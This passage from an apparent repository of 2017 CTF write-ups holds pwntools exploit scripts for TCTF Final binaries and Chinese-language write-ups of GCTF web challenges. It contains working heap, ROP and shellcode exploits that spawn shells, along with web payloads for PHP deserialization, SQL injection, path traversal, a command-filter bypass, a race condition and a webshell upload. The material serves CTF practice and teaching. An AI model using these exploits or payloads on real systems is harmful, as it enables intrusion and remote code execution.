0, 0, 0] 88 | 89 | for id, i in enumerate(l): 90 | for j in range(i): 91 | additem(id + 1) 92 | 93 | s = sum(l) + 1 94 | 95 | checkout() 96 | 97 | libc_addr = leakaddr(elf.got['puts'], s) - libc.symbols['puts'] 98 | stack_addr = leakaddr(libc_addr + libc.symbols['environ'], s) 99 | system_addr = libc_addr + libc.symbols['system'] 100 | atoi_addr = libc_addr + libc.symbols['atoi'] 101 | change(libc_addr, stack_addr - 0x104 -0xc, elf.got['atoi'] + 0x22, s) 102 | p.send(p32(system_addr) + ';/bin/sh\x00') 103 | p.interactive() 104 | ``` 105 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/reverse-oldtimes/readme.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | 1. 执行file命令,分析结果为32位ELF文件。 4 | 5 | ``` 6 | $ file oldtimes 7 | oldtimes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=fd699ac1d63ac81afca3155011beeb2b91f974a3, stripped 8 | ``` 9 | 10 | 2. 用ida导入文件并利用f5反编译分析程序逻辑,发现一处64字节输入经0x08048B03,0x0804875A,0x08048AEC三个函数处理即可到达正确输出位置。 11 | 12 | ```c 13 | LOBYTE(v1) = sub_8048B03(&v15, &v15, &s, 64, &unk_804A420); 14 | if ( v1 ) 15 | { 16 | puts("Incorrect."); 17 | result = 0; 18 | } 19 | else 20 | { 21 | sub_804875A(&v14, &v15, &unk_804A1A0, &unk_804A060, 0x140u); 22 | if ( sub_8048AEC(&v4 == 0, &v14, &unk_804A2E0, 320) ) 23 | { 24 | puts("Correct.\nCongratulations!"); 25 | result = 0; 26 | } 27 | else 28 | { 29 | puts("Incorrect."); 30 | result = 0; 31 | } 32 | } 33 | ``` 34 | 35 | 3. 0x08048B03处函数分析,发现是将输入字符串经过一次映射并扩充至最多64个字节的数组并返回,数组表示一个十进制数。 36 | 37 | 4. 0x0804875A处函数分析,发现是快速幂取模的汇编代码,输入是0x08048B03结果以及两个定值,输出是快速幂取模的结果。其中0x08048AD8处函数是判断数组表示的十进制数是否为0,0x08048AB3处函数是取数组表示的十进制数最低bit的值,0x08048612处函数是计算两数乘积并将结果对0x0804A060处定值取模。在0x08048612处函数中,0x08048A70处函数是计算两数之和并将结果对0x0804A060处定值取模。 38 | 39 | 5. 0x08048AEC处函数分析,发现是判断0x0804875A输出结果与给定数组0x0804A2E0做比较。 40 | 41 | 6. 因此可以抽象成如下代码,其中x未知,a,e,n已知。其形式与rsa加密/解密一致,通过查阅flappypig关于rsa的文章,发现可以利用Wiener Attack分解n,从而计算另一密钥解出x,进而根据映射计算flag。 42 | 43 | ```python 44 | if (x**e) % n == a: 45 | print 'Correct' 46 | else: 47 | print 'Incorrect' 48 | ``` 49 | 50 | # Exp 51 | 52 | ```python 53 | from RSAwienerHacker import * 54 | 55 | e = 65326441199468453286318255077403579659791312164553127869260446442105779909064937488537560101781375987673235379770584320200902922242466357110710512224365096172037200923774406729082247857808967592679310852236885503191205805867846536002124193676637708886499398965506519247168289750006311551455779911863709319947 56 | 57 | n = 106491733927966194442570111833195971964540708710920248828539833058388088046807126527055336225402088921783018876076946794272419044969606936676842530973101509230963945247110105556900247885580601951941082462702181710167276943785261576473507495128333901938830998211916498162015185298755857306262703571421288351501 58 | 59 | a = 33622269493924708607616624997424398912036927135599622278786063601678887543600400094409392433011134767526461813770729744913267138041445567265417022865204844947994077429853354378479239765411140344806650450747715214836133182538012671115882981194344900010564346012743782146937616191257888190694561289344531933844 60 | 61 | d = hack_RSA(e, n) 62 | 63 | def mul(x, y, z): 64 | ret = 1 65 | while y > 0: 66 | if y & 1: 67 | ret = (ret * x) % z 68 | x = (x * x) % z 69 | y >>= 1 70 | return ret 71 | 72 | str_map = map(ord, '00FFFFFFFFFFFFFFFF2E002F133EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3C5737624E474A404B03115F0E0B3546535A163849450D325D43612A1F282609274D083D5522440134562D480A0C421E30204C103F2B0729064F1733391B12193B05043A18516352151C5B1A251D212C545E506024025C58413631230F5914FF'.decode('hex')) 73 | 74 | plain = str(mul(a, d, n)) 75 | 76 | ans = '' 77 | 78 | for i in range(0, len(plain), 2): 79 | tmp = int(plain[i]+plain[i+1], 10) 80 | ans += chr(str_map.index(tmp)) 81 | 82 | print ans[::-1] 83 | ``` 84 | 85 | # Other writeups and resources 86 | 87 | 1. [CTF中RSA的常见攻击方法](http://bobao.360.cn/learning/detail/3058.html) 88 | 2. [wiener attack](https://github.com/pablocelayes/rsa-wiener-attack) -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-upxof/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64', log_level='debug') 3 | DEBUG = 1 4 | GDB = 1 5 | TEST = 0 6 | 7 | class AtRandomChain: 8 | 9 | def __init__(self): 10 | self._chain = "" 11 | 12 | def chain_up(self, content): 13 | if type(content) == int: 14 | content = p64(content) 15 | self._chain += content 16 | 17 | def __str__(self): 18 | return self._chain 19 | 20 | def chain_up_zero(self, zero_len): 21 | self._chain += '\x00' * zero_len 22 | 23 | def chain_up_any_ptr(self): 24 | self.chain_up(0x600100) 25 | 26 | 27 | if DEBUG: 28 | p = process("./upxof_raw") 29 | else: 30 | p = remote() 31 | 32 | def main(): 33 | if GDB: 34 | raw_input() 35 | chain = AtRandomChain() 36 | chain.chain_up('12345678') 37 | chain.chain_up_zero(0x7b8 - 0x748) 38 | chain.chain_up(1) 39 | chain.chain_up_any_ptr() 40 | chain.chain_up(0x0) 41 | for i in range((0x888 - 0x7d8) / 8): 42 | chain.chain_up_any_ptr() 43 | chain.chain_up_any_ptr() 44 | chain.chain_up(0x0) 45 | chain.chain_up(0x21) 46 | chain.chain_up_any_ptr() 47 | chain.chain_up(0x10) 48 | #chain.chain_up_any_ptr() 49 | chain.chain_up(0x78bfbff) 50 | chain.chain_up(0x06) 51 | chain.chain_up(0x1000) 52 | chain.chain_up(0x11) 53 | chain.chain_up(0x64) 54 | chain.chain_up(0x3) 55 | chain.chain_up(0x400040) 56 | chain.chain_up(0x4) 57 | chain.chain_up(0x38) 58 | chain.chain_up(0x5) 59 | chain.chain_up(0x2) 60 | chain.chain_up(0x7) 61 | chain.chain_up(0x0) 62 | chain.chain_up(0x8) 63 | chain.chain_up(0x0) 64 | chain.chain_up(0x9) 65 | chain.chain_up(0x400988) 66 | chain.chain_up(0xb) 67 | chain.chain_up(0x3e8) 68 | chain.chain_up(0xc) 69 | chain.chain_up(0x3e8) 70 | chain.chain_up(0xd) 71 | chain.chain_up(0x3e8) 72 | chain.chain_up(0xe) 73 | chain.chain_up(0x3e8) 74 | chain.chain_up(0x17) 75 | chain.chain_up(0x0) 76 | chain.chain_up(0x19) 77 | # at_random ptr is here, since this address will 78 | # be zero, we know that at_random is zero 79 | chain.chain_up_any_ptr() 80 | chain.chain_up(0x1f) 81 | chain.chain_up_any_ptr() 82 | chain.chain_up(0xf) 83 | chain.chain_up_any_ptr() 84 | #chain.chain_up_zero(0x10) 85 | # orignal at_random is here, after the 0x10 zeros above 86 | # but since it's ptr has been changed, here means 87 | # nothing to us. 88 | #chain.chain_up('\x12' * 8) 89 | p.recvuntil('password') 90 | if not TEST: 91 | p.sendline(str(chain)) 92 | else: 93 | p.sendline('12345678' + 'a' * 0x70) 94 | p.recvuntil('go:') 95 | 96 | pop_rdi_ret = 0x4007f3 97 | 98 | payload = 'a' * 0x408 99 | payload += '\x00' * 8 # canary 100 | payload += p64(0x601108) # saved_rbp 101 | payload += p64(pop_rdi_ret) # new ip 102 | payload += p64(0x601000) # where we will write 103 | payload += p64(0x400763) # call gets 104 | 105 | #p.sendline('a' * 0x408 + '\x00' * 8 + '\xaa') 106 | p.sendline(payload) 107 | 108 | shellcode = asm(shellcraft.sh()) 109 | # 110 | p.sendline(shellcode.ljust(0x100, '\x00') + p64(0) + p64(0) + p64(0x601000)) 111 | 112 | p.interactive() 113 | 114 | if __name__ == "__main__": 115 | main() 116 | -------------------------------------------------------------------------------- /2017-hitcon-quals/crypto-SSSP/sssp.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | typedef __int128_t Num; 6 | 7 | string red(const string &s) { 8 | return "\e[1;31m"s + s + "\e[0m"; 9 | } 10 | 11 | string green(const string &s) { 12 | return "\e[1;32m"s + s + "\e[0m"; 13 | } 14 | 15 | istream& operator>>(istream &is, Num &x) { 16 | string s; 17 | is >> s; 18 | auto p = s.data(); 19 | bool neg = false; 20 | if (*p && *p == '-') { 21 | neg = true; 22 | p++; 23 | } 24 | x = 0; 25 | while (*p) x = x * 10 + *p++ - '0'; 26 | if (neg) x = -x; 27 | return is; 28 | } 29 | 30 | ostream& operator<<(ostream &os, Num x) { 31 | if (x == 0) return os << "0"; 32 | if (x < 0) { 33 | os << '-'; 34 | x = -x; 35 | } 36 | string s; 37 | while (x != 0) { 38 | s.push_back(x % 10 + '0'); 39 | x /= 10; 40 | } 41 | reverse(begin(s), end(s)); 42 | return os << s; 43 | } 44 | 45 | template 46 | struct Rng { 47 | T r; 48 | 49 | Rng() { 50 | array data; 51 | random_device rd; 52 | generate(begin(data), end(data), ref(rd)); 53 | auto seq = seed_seq(begin(data), end(data)); 54 | r = T{seq}; 55 | } 56 | 57 | Num operator()(int n, bool sign = false) { 58 | Num val = 0; 59 | while (n > 0) { 60 | int w = min(n, 32); 61 | auto mask = ~0u >> (32 - w); 62 | val = (val << w) | (r() & mask); 63 | n -= w; 64 | } 65 | if (sign && r() % 2 == 1) val = -val; 66 | return val; 67 | } 68 | }; 69 | 70 | Rng rnd; 71 | 72 | template 73 | bool is_subseq(const vector &a, const vector &b) { 74 | for (auto i = begin(a), j = begin(b); i != end(a); i++, j++) { 75 | while (j != end(b) && *i != *j) j++; 76 | if (j == end(b)) return false; 77 | } 78 | return true; 79 | } 80 | 81 | struct Prob { 82 | Num s; 83 | vector a; 84 | 85 | Prob(int n, int m) { 86 | for (int i = 0; i < n; i++) a.push_back(rnd(m, true)); 87 | s = 0; 88 | for (int i = 0; i < n; i++) { 89 | if (rnd(1)) s += a[i]; 90 | } 91 | } 92 | 93 | bool check(vector sol) { 94 | return accumulate(begin(sol), end(sol), Num(0)) == s && is_subseq(sol, a); 95 | } 96 | 97 | friend ostream& operator<<(ostream &os, const Prob &p) { 98 | os << p.s << " from"; 99 | for (auto i : p.a) os << ' ' << i; 100 | return os; 101 | } 102 | }; 103 | 104 | void TLE(int) { 105 | cout << red("Time Limit Exceeded") << endl; 106 | exit(0); 107 | } 108 | 109 | bool run() { 110 | for (int i = 1; i <= 30; i++) { 111 | int n = 4 * i + 7; 112 | int m = min(4 * i + 20, 120); 113 | assert(log2(n) + m < 127); 114 | auto prob = Prob(n, m); 115 | cout << "Prob " << i << ": " << prob << endl; 116 | alarm(5); 117 | int l; 118 | cin >> l; 119 | if (l < 0 || l > n) return false; 120 | vector sol(l); 121 | for (auto &j : sol) cin >> j; 122 | alarm(0); 123 | if (!prob.check(sol)) return false; 124 | } 125 | return true; 126 | } 127 | 128 | int main() { 129 | signal(SIGALRM, TLE); 130 | if (run()) { 131 | cout << green(getenv("FLAG")) << endl; 132 | } else { 133 | cout << red("Wrong Answer") << endl; 134 | } 135 | return 0; 136 | } 137 | -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-world_of_fastbins/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | context(os='linux', arch='amd64', log_level='debug') 3 | 4 | DEBUG = 0 5 | GDB = 0 6 | if DEBUG: 7 | p = process("./fastbin" ,env={"LD_PRELOAD" : "/home/vagrant/ctf/contests/rsctf-2017/fastbin/libc.so"}) 8 | #libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 9 | #libc = ELF("/usr/lib/libc.so.6") 10 | libc = ELF("./libc.so") 11 | else: 12 | p = remote("192.168.201.8", 10127) 13 | libc = ELF("./libc.so") 14 | 15 | def allocate(size): 16 | p.recvuntil('Command:') 17 | p.sendline('1') 18 | p.recvuntil('Size:') 19 | p.sendline(str(size)) 20 | p.recvuntil('Index ') 21 | index = p.recvline()[:-1] 22 | idx = int(index) 23 | log.info('idx = ' + str(idx)) 24 | 25 | def fill(index, size, content): 26 | p.recvuntil('Command') 27 | p.sendline('2') 28 | p.recvuntil('Index: ') 29 | p.sendline(str(index)) 30 | p.recvuntil('Size: ') 31 | p.sendline(str(size)) 32 | p.recvuntil('Content: ') 33 | p.send(content) 34 | 35 | def free(index): 36 | p.recvuntil('Command') 37 | p.sendline('3') 38 | p.recvuntil('Index: ') 39 | p.sendline(str(index)) 40 | 41 | def dump(index): 42 | p.recvuntil('Command: ') 43 | p.sendline('4') 44 | p.recvuntil('Index: ') 45 | p.sendline(str(index)) 46 | p.recvline() 47 | content = p.recvline()[:-1] 48 | return content 49 | 50 | def leak_heap(): 51 | allocate(0x20) # 0 10 52 | allocate(0x20) # 1 40 53 | allocate(0x20) # 2 70 54 | allocate(0x20) # 3 a0 55 | allocate(0x20) # 4 d0 56 | fill(1, 0x30, 'a' * 0x20 + p64(0) + p64(0x51)) 57 | # next size 58 | fill(3, 0x20, p64(0) + p64(0x20) + p64(0) + p64(0x20)) 59 | free(2) # ~2 60 | allocate(0x40) # 2 (overlap 3) 61 | fill(2, 0x30, 'b' * 0x20 + p64(0) + p64(0x31)) 62 | free(4) # ~4 63 | free(3) # ~3 64 | dumped = dump(2) 65 | leaked_heap = u64(dumped[0x30:].strip('\x00').ljust(8, '\x00')) 66 | heap_base = leaked_heap & 0xfffffffffffffff000 67 | allocate(0x20) # 3 68 | fill(2, 0x30, 'c' * 0x20 + p64(0) + p64(0x111)) 69 | allocate(0x48) # 4 70 | allocate(0x58) # 5 71 | fill(5, 0x60, 'd' * 0x30 + p64(0) + p64(0x131) + p64(0) + p64(0x131) + p64(0x12345679) + p64(0x131)) 72 | log.info('check this') 73 | allocate(0x50) # 6 1b0 74 | free(3) # ~3 75 | dumped = u64(dump(2)[-8:-1].ljust(8, '\x00')) 76 | log.info('heap base:' + hex(heap_base)) 77 | libc_data = dumped & 0xfffffffffffff000 78 | log.info('libc data:' + hex(dumped)) 79 | 80 | return heap_base, libc_data, dumped 81 | 82 | 83 | def unsorted_bin_attack(heap_base, libc_data, leaked): 84 | log.info('unsorted bin attack') 85 | fill(2, 0x40, 'q' * 0x20 + p64(0x0) + p64(0x110) + p64(leaked) + p64(heap_base+0x140)) 86 | libc_base = libc_data - 0x3a5000 87 | list_all_offset = libc.symbols['_IO_list_all'] + libc_base 88 | #allocate(0x50) # 3 89 | fill(4, 0x48, 'f' * 0x40 + '/bin/sh\x00') 90 | log.info("list all off:" + hex(libc.symbols['_IO_list_all'])) 91 | log.info("list all:" + hex(list_all_offset)) 92 | payload = 'v' * 8 + p64(list_all_offset - 0x10) 93 | payload += p64(0x10101010) # _IO_write_base 94 | payload += p64(0x20202020) # _IO_write_ptr 95 | payload += p64(0x123) # _IO_write_end 96 | payload += p64(0x321) # _IO_buf_base 97 | payload += p64(0x321321) # _IO_buf_end 98 | payload += p64(0x123) # _IO_save_base 99 | payload += p64(0x0) # _IO_backup_base 100 | payload += p64(0x123) # _IO_save_end 101 | payload += p64(0x0) # _markers 102 | payload += p64(0x0) # _chain 103 | payload += p32(0x0) # _fileno 104 | payload += p32(0x0) # _flags2 105 | payload += p64(0xffffffffffffffff) # _old_offset 106 | payload += p16(0x0) # _cur_column 107 | payload += p16(0x0) # _vtable_offset 108 | payload += p32(0x41) # _shortbuf 109 | payload += p64(0x12345678) # _lock 110 | payload += p64(0xffffffffffffffff) # _offset 111 | payload += p64(0x0) # _codecvt 112 | payload += p64(0xdeadbeef) # _wide_data 113 | payload += p64(0x0) # _freeres_list 114 | payload += p64(0x0) # _freeres_buf 115 | payload += p64(0x0) # __pad5 116 | payload += p64(0xffffffff) # _mode 117 | payload += '\x00' * 16 # _unused2 118 | vtable_address = len(payload) + heap_base + 0x140 + 8 + 0x10 119 | log.info('vtable:' + hex(vtable_address)) 120 | payload += p64(vtable_address) # vtable_address 121 | 122 | system_addr = libc_base + libc.symbols['system'] 123 | vtable = p64(system_addr) * 20 124 | payload += vtable 125 | 126 | #fill(5, len(payload), '/bin/sh\x00' + p64(list_all_offset - 0x10) + payload) 127 | fill(5, len(payload), payload) 128 | 129 | 130 | 131 | 132 | def pwn(): 133 | if GDB: 134 | raw_input() 135 | heap_base, libc_data, leaked = leak_heap() 136 | unsorted_bin_attack(heap_base, libc_data, leaked); 137 | #allocate(0x5) 138 | 139 | #p.sendline('ls') 140 | #p.recv() 141 | p.recvuntil('Command:') 142 | p.sendline('1') 143 | p.recvuntil('Size') 144 | p.sendline('5') 145 | p.interactive() 146 | 147 | def main(): 148 | global p 149 | for i in range(100): 150 | if DEBUG: 151 | p = process("./fastbin") 152 | else: 153 | p = remote("192.168.201.8", 10127) 154 | try: 155 | pwn() 156 | except: 157 | p.close() 158 | continue 159 | 160 | if __name__ == "__main__": 161 | pwn() 162 | 163 | -------------------------------------------------------------------------------- /2017-ctfs/20170610-GCTF-Quals/web/readme.md: -------------------------------------------------------------------------------- 1 | #### PHP序列化: 2 | 可以直接看到index.php的源码: 3 | ``` php 4 | 15 | 16 | 17 | 18 | 19 | 代码审计2 20 | 21 | 22 | 在php中,经常会使用序列化操作来存取数据,但是在序列化的过程中如果处理不当会带来一些安全隐患。 23 |
24 | 25 | 26 |
27 | 查看源码 28 | 29 | 30 | ``` 31 | 然后访问query.php的时候提示: 32 | > Look me: edit by vim ~0~ 33 | 34 | 试了一下vim备份文件的后缀,query.php~可以读到源码: 35 | ``` php 36 | //query.php 部分代码 37 | session_start(); 38 | header('Look me: edit by vim ~0~') 39 | //...... 40 | class TOPA{ 41 | public $token; 42 | public $ticket; 43 | public $username; 44 | public $password; 45 | function login(){ 46 | //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 47 | $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ 48 | return 'key is:{'.$this->token.'}'; 49 | } 50 | } 51 | } 52 | class TOPB{ 53 | public $obj; 54 | public $attr; 55 | function __construct(){ 56 | $this->attr = null; 57 | $this->obj = null; 58 | } 59 | function __toString(){ 60 | $this->obj = unserialize($this->attr); 61 | $this->obj->token = $FLAG; 62 | if($this->obj->token === $this->obj->ticket){ 63 | return (string)$this->obj; 64 | } 65 | } 66 | } 67 | class TOPC{ 68 | public $obj; 69 | public $attr; 70 | function __wakeup(){ 71 | $this->attr = null; 72 | $this->obj = null; 73 | } 74 | function __destruct(){ 75 | echo $this->attr; 76 | } 77 | } 78 | ``` 79 | 很明显需要序列化。在index.php里面设置了php的序列化handler是'php_serialize',而query.php里面没有设置,也就是默认的'php',所以可以利用session反序列化调用query.php里面的类。 80 | 只有TOPC有echo,分析了一下,构造顺序应该是: 81 | > TOPC > TOPB > TOPA 82 | 83 | 其中有几个点: 84 | ###### 1. __wakeup可以通过改变属性数目大于实际数目绕过 85 | ###### 2. 通过建立引用关系使得$this->obj->token和$this->obj->ticket保持相等 86 | ###### 3. username和password可以直接取0,0弱等于字符串 87 | 试了一下,感觉线上的源码不太一样,会调用login,并且反序列化的时候会先反序列化内层的 88 | 构造payload: 89 | > |O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}} 90 | 91 | 在index.php设置一下session,再访问query.php就行了 92 | #### spring-css: 93 | google了一下,有一个CVE的洞**[cve-2014-3625](https://github.com/ilmila/springcss-cve-2014-3625)** 94 | 链接里面有exp,读一下/etc/passwd,发现: 95 | > flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag 96 | 97 | 根据提示再读/etc/flag 98 | > http://218.2.197.232:18015/spring-css/resources/file:/etc/flag 99 | 100 | #### 注入越权: 101 | 源码有提示: 102 | ``` html 103 | 107 | ``` 108 | 发现uid可以直接修改,修改role不行,输引号会被mysql_escape_string拦 。 109 | 试了一下发现uid输反引号会报错,看了一下大概是update语句,所以可以注入设置role,引号不能用,就用admin的十六进制代替,也就是 110 | > uid=0,role=0x61646d696e 111 | 112 | 修改后返回原页面,得到flag 113 | 114 | #### 条件竞争: 115 | 题目给了源码,看了一下在reset密码时存在条件竞争漏洞,reset时有两步: 116 | 1. 先将该用户信息清空并新插入一条信息,这时notadmin为False 117 | 2. 然后再将notadmin设置为True 118 | 119 | 那么只要在第二步之前登录即可,所以跑两个程序,一个reset,一个login即可,我这里分别开了15个协程: 120 | ##### reset.py 121 | ``` py 122 | import requests 123 | from gevent import monkey 124 | import gevent 125 | monkey.patch_all() 126 | 127 | def reset(): 128 | for i in range(100): 129 | cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'} 130 | a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text 131 | print(a) 132 | 133 | tasks = [gevent.spawn(reset) for i in range(15)] 134 | gevent.joinall(tasks) 135 | ``` 136 | ##### login.py 137 | ``` py 138 | import requests 139 | from gevent import monkey 140 | import gevent 141 | monkey.patch_all() 142 | 143 | def login(): 144 | for i in range(100): 145 | cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'} 146 | b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text 147 | print(b) 148 | 149 | tasks = [gevent.spawn(login) for i in range(15)] 150 | gevent.joinall(tasks) 151 | ``` 152 | 很快就能读到flag: 153 | 154 | ![image.png](http://upload-images.jianshu.io/upload_images/2511560-4006fb816f0c1a49.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) 155 | 156 | #### 读文件: 157 | 只给了个1.txt可以读,试了一下加*不行,感觉不是命令执行,"../"返回上级目录也不行,猜测可能过滤了什么,在1.txt中间加上"./"发现仍能读取,说明"./"被过滤了,构造payload,在上级目录的flag.php的注释里读到flag 158 | > http://218.2.197.232:18008/a/down.php?p=...//fla./g.php 159 | 160 | #### Web综合: 161 | 发现有.svn泄露,下载下来sqlite数据库文件,找到settings.inc.php的checksum,然后在 162 | > http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base 163 | 164 | 可以读到源代码,源码里有admin的密码,登陆上去可以上传图片,这里上传一个图片马就行了,只验证了content-type,菜刀连上去后,在07目录下找到f1a9.php 165 | #### RCE绕过: 166 | 命令前后需要空格,但是被过滤,用%0a绕过,命令中的空格就不行了,fuzz一下,发现%09可以。另外"."也被过滤了,可以用*,于是直接读到flag.php: 167 | > http://218.2.197.232:18006/?cmd=%0acat%09fla*%0a 168 | 169 | #### JAVA序列化: 170 | 网上找了个JAVA序列化的例子,推测了一下大概的格式,然后把题目的object的id和name对应修改一下,再Base64就OK了 171 | > rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4= 172 | 173 | #### 变态验证码怎么过: 174 | 网上搜了一下几种绕验证码的方式,都试了一下,发现只要第一次输对了验证码,后面直接把验证码设为空串就行了,然后用Burp和他给的password.txt爆破一下就行了 175 | 176 | #### Forbidden: 177 | 注释提示要本机访问,各种改头部没用,后来发现改成localhost才行,也是醉了,然后后续每次修改都会有个提示,改Host啊,改Referer,改UA什么的,一步一步来就能得到最后flag 178 | 179 | #### 热身题: 180 | 扫了一下目录发现robots.txt,挨个读了一下里面的文件,最后在rob0t.php里面读到flag -------------------------------------------------------------------------------- /2017-ctfs/20170602-TCTF-Final/pwn-upxof/readme.md: -------------------------------------------------------------------------------- 1 | # upxof 2 | 3 | This is quite an interesting challenge. I didn't solve it in the CTF since I know nothing about that ld trick. 4 | 5 | But from this challenge, I learned a lot about ld trick, auxv etc. 6 | 7 | 8 | # tl;dr 9 | Abuse the auxv struct before uncompress process to bypass canary, and then ROP to run shellcode on rwx mappings mmaped by UPX uncompress process. 10 | 11 | # Analysis 12 | 13 | We are given a elf which can run directly, but asking us for password. 14 | 15 | If you are in luck, you may find out that its password is actually 12345678, quite weak password. 16 | You can analysis from IDA, with gdb tell you the start point as well. From a cmp assembly instruction, you can still get the password easily. 17 | 18 | Well, if you have read the assembly code, you can also find out that the check is not so sufficient. 19 | No length is checked. And the compare instruction makes the string truncated, so anything after that 12345678 password will not affect our result. 20 | 21 | After that password, we get a chance to input any length string. To analysis this, you may just use upx to uncompress the elf. And, you'll see that this is from the uncompressed code, while the password thing is not. 22 | 23 | So, we are getting clear. There is a vulnerability in the password input part and, of course the go part. But! The go part is from uncompressed code, and, it is canary-protected. 24 | 25 | The question is that how can we bypass the canary? 26 | 27 | # Where is canary born? 28 | 29 | Now it is time to get some extra knowledge. Where is canary born? I mean, how is it initialized? 30 | 31 | Well, it is actually generated from the linux kernel. But! It is transformed by some Auxiliary Vector! 32 | 33 | Auxiliary Vector is at the top of the stack, it can be NULL actually, but if it is not NULL, you can get information from it. 34 | And, the information is provided for the ld.so. 35 | 36 | To see what auxv like, you can set the environment like this: 37 | ```shell 38 | [anciety@anciety-pc upxof]$ LD_SHOW_AUXV=1 ./upxof_raw 39 | password:12345678 40 | AT_SYSINFO_EHDR: 0x7ffc17937000 41 | AT_HWCAP: bfebfbff 42 | AT_PAGESZ: 4096 43 | AT_CLKTCK: 100 44 | AT_PHDR: 0x400040 45 | AT_PHENT: 56 46 | AT_PHNUM: 9 47 | AT_BASE: 0x0 48 | AT_FLAGS: 0x0 49 | AT_ENTRY: 0x4005e0 50 | AT_UID: 1000 51 | AT_EUID: 1000 52 | AT_GID: 1000 53 | AT_EGID: 1000 54 | AT_SECURE: 0 55 | AT_RANDOM: 0x7ffc17855509 56 | AT_EXECFN: ./upxof_raw 57 | AT_PLATFORM: x86_64 58 | let's go: 59 | ``` 60 | 61 | You can also use gdb to do this, just type `info auxv`, you will get similar input. 62 | 63 | And the auxv struct is like this: 64 | ```c 65 | typedef struct 66 | { 67 | int a_type; /* Entry type */ 68 | union 69 | { 70 | long int a_val; /* Integer value */ 71 | void *a_ptr; /* Pointer value */ 72 | void (*a_fcn) (void); /* Function pointer value */ 73 | } a_un; 74 | } Elf32_auxv_t; 75 | ``` 76 | This is an entry struct. Take AT_HWCAP as example, the structure will be `p64(entry_type_no) + a_un`, where a_un is of 8 bytes long(under 64-bits). 77 | 78 | Now we know about auxv, what else? Well, it seems that AT_RANDOM is an interesting variable that we should pay attention to. 79 | 80 | This is something from the libc, and it does the stuff about canary. Actually, it sets the canary. 81 | 82 | ```c 83 | static inline uintptr_t __attribute__ ((always_inline)) 84 | _dl_setup_stack_chk_guard (void *dl_random) 85 | { 86 | union 87 | { 88 | uintptr_t num; 89 | unsigned char bytes[sizeof (uintptr_t)]; 90 | } ret = { 0 }; 91 | 92 | if (dl_random == NULL) 93 | { 94 | ret.bytes[sizeof (ret) - 1] = 255; 95 | ret.bytes[sizeof (ret) - 2] = '\n'; 96 | } 97 | else 98 | { 99 | memcpy (ret.bytes, dl_random, sizeof (ret)); 100 | #if BYTE_ORDER == LITTLE_ENDIAN 101 | 102 | ret.num &= ~(uintptr_t) 0xff; 103 | #elif BYTE_ORDER == BIG_ENDIAN 104 | 105 | ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1))); 106 | #else 107 | 108 | #error "BYTE_ORDER unknown" 109 | 110 | #endif 111 | 112 | } 113 | return ret.num; 114 | } 115 | ``` 116 | 117 | From this, we can see that the canary is set by dl_random. That is, if we are able to change the auxv struct before it is load, when it call ld, we can control the canary! 118 | 119 | # Solve 120 | 1. Overflow into auxv, to control the canary before ld is called. 121 | 2. Bypass the canary, then we can do ROP. 122 | 3. Use ROP to call gets again, write shellcode into a rwx mapping. We have rwx mapping because the UPX needs it. 123 | 4. ROP jumps to the shellcode start point, and done. 124 | 125 | # Notice 126 | ## To debug 127 | The debug process is a little bit trickier than I ever thought. You can not just use `n` command to do everything, it may be broken! And step to the entry point of the uncompressed code is not so easy. 128 | You need to do following steps: 129 | 1. run the binary, and let gdb attached to the running process(obviously) 130 | 2. now, before you continue, set a breakpoint at 0x400c93, and then, continue 131 | 3. do some 'n' command, until the instruction `call 0x800d14` 132 | 4. now, use 's' command to step in, then you will be at 0x800d14, set another breakpoint at 0x800d9d, continue. 133 | 5. use 's' command then, unless you are dealing with a call instruction, use 'n' command to step over that. DO NOT JUST USE N COMMAND! You will see how gdb tricks you if you do that. 134 | 6. now, use 's' command to step the instructions unless you are executing a call instruction. Do this until you get the address, 0x400604 135 | 7. Do the same, until you get some call rax, step into it(by using 's'), you will be at the entry of the uncompressed code. 136 | 137 | This can be very annoying actually, I can't get a better solution since whenever I try to skip some part by using breakpoint and continue command, the gdb plays tricks with me, and I get confusing results. 138 | 139 | ## UPX, RWX and ROP 140 | I don't know much about UPX, but during the debugging, I found that it actually did a lot things. 141 | 1. More mappings, some of them are RWX. In this challenge, at least 0x601000-0x602000 address is RWX, we can use that to write and execute shellcode. 142 | 2. The uncompress process is copied to 0x800000(as I remembered), and the original code, which is from 0x400000 will be the uncompressed code. So, to use ROP gadgets, you should find the gadgets inside the upx 